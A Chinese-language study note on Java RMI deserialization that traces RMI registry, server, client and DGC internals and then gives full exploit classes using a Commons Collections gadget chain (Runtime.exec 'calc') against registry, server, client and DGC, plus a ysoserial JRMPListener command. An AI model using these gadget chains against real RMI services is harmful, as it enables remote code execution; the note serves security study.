RMI反序列化学习
参考:
Java反序列化RMI专题-没有人比我更懂RMI
RMI反序列化漏洞之三顾茅庐-流程分析
RMI反序列化漏洞之三顾茅庐-攻击实现
RMI反序列化漏洞之三顾茅庐-JEP290绕过
JAVA安全基础(四)– RMI机制
浅学RMI反序列化
流程分析
建议看Java反序列化RMI专题-没有人比我更懂RMI,讲的很细,这里先写一下视频中的样例程序
样例程序
Server
IRemoteObj
接口
package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RemoteObjImpl
package org.example;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{ public RemoteObjImpl() throws RemoteException {
}
@Override public String sayHello(String keywords) throws RemoteException { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
|
RMIServer
package org.example;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(10999); registry.bind("remoteObj",remoteObj); } }
|
Client
IRemoteObj
接口
package org.example;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RMIClient
package org.example;
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",10999); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); remoteObj.sayHello("hello"); } }
|
流程分析1 创建远程服务
首先跟一下创建远程服务的流程

记得强制跟进,不然进不去

由于我们实现的类继承了UnicastRemoteObject
,所以这里就到了UnicastRemoteObject
的构造方法

这里会导出这个对象,如果我们前面没继承该类的话,就需要手动执行这一步

跟进后发现又有一个exportObject
,图中的UnicastServerRef
就是封装rmi
的一个入口,跟进去

这里可以发现调用了父类的构造方法,并且传入的参数初始化了一个很重要的类——LiveRef
,跟进该类看一下

ObjID
只是起个标识作用,继续跟进

这里关注下TCPEndpoint.getLocalEndpoint
,这里面真正包含了远程服务的信息

这里跟进图中的getLocalEndpoint
去后是很多和网络请求相关的东西

从该函数出来后初始化了很多信息

接下来继续走,会回到LiveRef
,跟进其构造方法发现会看到很多初始化内容,会把前面的endpoint
放进来

然后一路跟进,会退回到开始的UnicastServerRef
并调用其父类构造方法,跟进去

会把前面封装好的LiveRef
放进UnicastRef
中

一路跟进会回到前面的exportObjet
,跟进看一下

这里的sref
实际上就是对我们前面封装好的LiveRef
的一次封装(可以看到LiveRef
编号一直都是一样的)

这里跟进后发现存在创建stub
的过程,跟进去看一下(getClientRef
实际上就是初始化一个UnicastRef
)
前面图中可以看出stub是客户端用来获取远程对象的。这里服务端会创建stub是因为服务端需要先闯将stub然后放到注册中心,之后客户端直接从注册中心拿到stub进行操作


这里需要过几个判断,其中的stubClassExists
主要是判断类名结尾是不是_Stub
,然后因为这里是我们自己定义的,所以结尾没有,这里就直接过去了,然后就是标准的创建动态代理的过程
文件应该是在jdk1.8.0_65\jre\lib\rt.jar!\sun\rmi\registry\RegistryImpl_Stub.class



前面走完出来后,往后就到了target
这里,其实就是对前面生成的东西全部封装到一起


这里初始化完出来后跟进到LiveRef
的exportObject

跟进TcpEndpoint
的exportObject

跟进transport
的exportObject

最后来到了TCPTransport
的exportObject

跟进listen
后发现里面创建了一个新的socket
,进去后找到了port
被初始化的地方


出来后进行了一个创建多线程的操作,跟进去后主要逻辑在executeAcceptLoop
,里面都是一些网络请求的逻辑,其实就是多开了个线程,需要知道的是真正的代码逻辑的线程和网络请求的线程是独立的


这里开启线程后就会退出listen
,继续往下走会调用父类的exportObject

跟进去后发现我们的target
最后会被放到objTable
里



最后就是不断返回结束了
流程分析2 创建注册中心+绑定
先分析创建注册中心,这里我使用了自定义的10999
端口,直接强制跟进



跟进exportObject



跟进这个createStub
中,直接用forName
获取ReigistryImpl
这个类

创建完stub
后开始创建skeleton



接下来走到target
,跟进其构造方法


之后进入到LiveRef
的exportObj
中

然后就是一路经过TcpEndpoint
和transport
,后面流程就和创建远程服务一致了,也会被放到objTable
最后一步步退出来
然后是绑定,其实就是把name
和对应的对象放到bindings
里面


流程分析3 客户端请求注册中心-客户端
进入getRegistry



最后来到了熟悉的createStub
,就不进去了

去看lookup
,会发现跳到奇怪的地方,这是因为Java
版本问题,因此接下来只能看反编译的源码

反序列化点1

反序列化点2
跟进上图中的super.ref.invoke
,其实就是UnicastRef
的invoke


这里本意是遇到这个异常的时候反序列化读出来获取更详细的信息,但如果传的是个恶意类就可能被利用。
其他很多地方都调用了这个invoke
反序列化点3

反序列化点4

反序列化点5

反序列化点6

流程分析4 客户端请求服务端-客户端
由于remoteobject
是动态代理类,所以跟进会会直接去到invoke





出来后会调用这个executeCall
,和前面一样的反序列化点,这里就不跟进去了,继续往后走



流程分析5 客户端请求服务端-注册中心
开始调试前先说一下断点位置,前面所说的TCPTransport
的exportObject
中存在listen
,跟进去发现有开线程的地方,进到AcceptLoop
里面再去executeAcceptLoop
也就是前面没展开说的地方

跟进去找到run
方法,发现里面调用了run0
,继续跟其中的handleMessages


其实前面找地方下断点的过程也就是前半部分的分析,下好断点后服务端开debug
等待,客户端发起请求就可以发现断在了这里,往后走




这里其实后面就进到了RegistryImpl_Skel.class
里面,调用了skeleton
的dispatch
,图中代码可以很清楚看到存在反序列化

流程分析6 客户端请求服务端-服务端
会调用unmarshalValue
,前面跟进去过了,里面类型判断如果是进到else
就会触发反序列化

流程分析7 客户端请求服务端-dgc
前面在puttaget
时候调用DGCImpl
的初始化,其中的静态初始化含有stub
的初始化,而其也存在DGCImpl_Stub
,进去后可以发现存在反序列化点

攻击实现
记得手动添加下CC依赖
,下述代码均简单修改自RMI反序列化漏洞之三顾茅庐-攻击实现
客户端/服务端攻击注册中心
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput; import java.lang.reflect.Field; import java.rmi.registry.LocateRegistry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.util.HashMap; import java.util.Map;
public class RegistryExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);
lookup(registry);
}
public static void lookup(RegistryImpl_Stub registry) throws Exception {
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall(registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(genEvilMap()); ref.invoke(var2);
}
public static void bind(RegistryImpl_Stub registry) throws Exception {
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass(); Field refField = RemoteObjectClass.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(registry);
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var3 = ref.newCall(registry, operations, 0, 4905912898345647071L);
ObjectOutput var4 = var3.getOutputStream(); var4.writeObject("test"); var4.writeObject(genEvilMap());
ref.invoke(var3);
}
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
注册中心攻击客户端
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable; import java.lang.reflect.Field; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
public class EvilRegistry { public static void main(String[] args) throws Exception { new RemoteObjImpl(); Remote remoteObj = new RemoteWrapper(); Registry r = LocateRegistry.createRegistry(10999); r.bind("remoteObj",remoteObj); } }
class RemoteWrapper implements Remote, Serializable { private Map map;
RemoteWrapper() throws Exception { this.map = genEvilMap(); }
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
客户端攻击服务端
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.rmi.registry.LocateRegistry; import java.util.HashMap; import java.util.Map;
public class EvilClient { public static void main(String[] args) throws Exception { RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
invoke(remoteObj); }
public static void invoke(IRemoteObj remoteObj) throws Exception{ Field hField = remoteObj.getClass().getSuperclass().getDeclaredField("h"); hField.setAccessible(true); Object remoteObjectInvocationHandler = hField.get(remoteObj);
Field refField = remoteObjectInvocationHandler.getClass().getSuperclass().getDeclaredField("ref"); refField.setAccessible(true); UnicastRef ref = (UnicastRef) refField.get(remoteObjectInvocationHandler);
Method method = IRemoteObj.class.getDeclaredMethod("sayHello", String.class);
Method methodToHash_mapsMethod = remoteObjectInvocationHandler.getClass().getDeclaredMethod("getMethodHash",Method.class); methodToHash_mapsMethod.setAccessible(true); long hash = (long) methodToHash_mapsMethod.invoke(remoteObj, method);
ref.invoke(remoteObj, method, new Object[]{genEvilMap()}, hash); }
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
服务端攻击客户端
打的是UnicastRef#invoke
DGC相关的攻击
package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.rmi.registry.RegistryImpl_Stub; import sun.rmi.server.UnicastRef; import sun.rmi.transport.Endpoint; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.rmi.registry.LocateRegistry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map;
public class DGCExploit { public static void main(String[] args) throws Exception{ RegistryImpl_Stub registry = (RegistryImpl_Stub) LocateRegistry.getRegistry("127.0.0.1", 10999);
Class c = registry.getClass().getSuperclass().getSuperclass(); Field refField = c.getDeclaredField("ref"); refField.setAccessible(true); UnicastRef unicastRef = (UnicastRef) refField.get(registry);
Class c2 = unicastRef.getClass(); Field refField2 = c2.getDeclaredField("ref"); refField2.setAccessible(true); LiveRef liveRef = (LiveRef) refField2.get(unicastRef);
Class c3 = liveRef.getClass(); Field epField = c3.getDeclaredField("ep"); epField.setAccessible(true); TCPEndpoint tcpEndpoint = (TCPEndpoint) epField.get(liveRef);
Class c4 = Class.forName("sun.rmi.transport.DGCClient$EndpointEntry"); Method lookupMethod = c4.getDeclaredMethod("lookup", Endpoint.class); lookupMethod.setAccessible(true); Object endpointEntry = lookupMethod.invoke(null, tcpEndpoint);
Class c5 = endpointEntry.getClass(); Field dgcField = c5.getDeclaredField("dgc"); dgcField.setAccessible(true); RemoteObject dgc = (RemoteObject) dgcField.get(endpointEntry);
Class c6 = dgc.getClass().getSuperclass().getSuperclass(); Field refField3 = c6.getDeclaredField("ref"); refField3.setAccessible(true); UnicastRef unicastRef2 = (UnicastRef) refField3.get(dgc);
Operation[] operations = new Operation[]{new Operation("void clean(java.rmi.server.ObjID[], long, java.rmi.dgc.VMID, boolean)"), new Operation("java.rmi.dgc.Lease dirty(java.rmi.server.ObjID[], long, java.rmi.dgc.Lease)")}; RemoteCall var5 = unicastRef2.newCall(dgc, operations, 1, -669196253586618813L); ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(genEvilMap()); unicastRef2.invoke(var5); }
public static HashMap genEvilMap() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
return map2; } }
|
攻击JRMP客户端
开个恶意服务等着客户端连接过来,打的是UnicastRef#invoke
java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 calc.exe
|
高版本绕过
RMI反序列化漏洞之三顾茅庐-JEP290绕过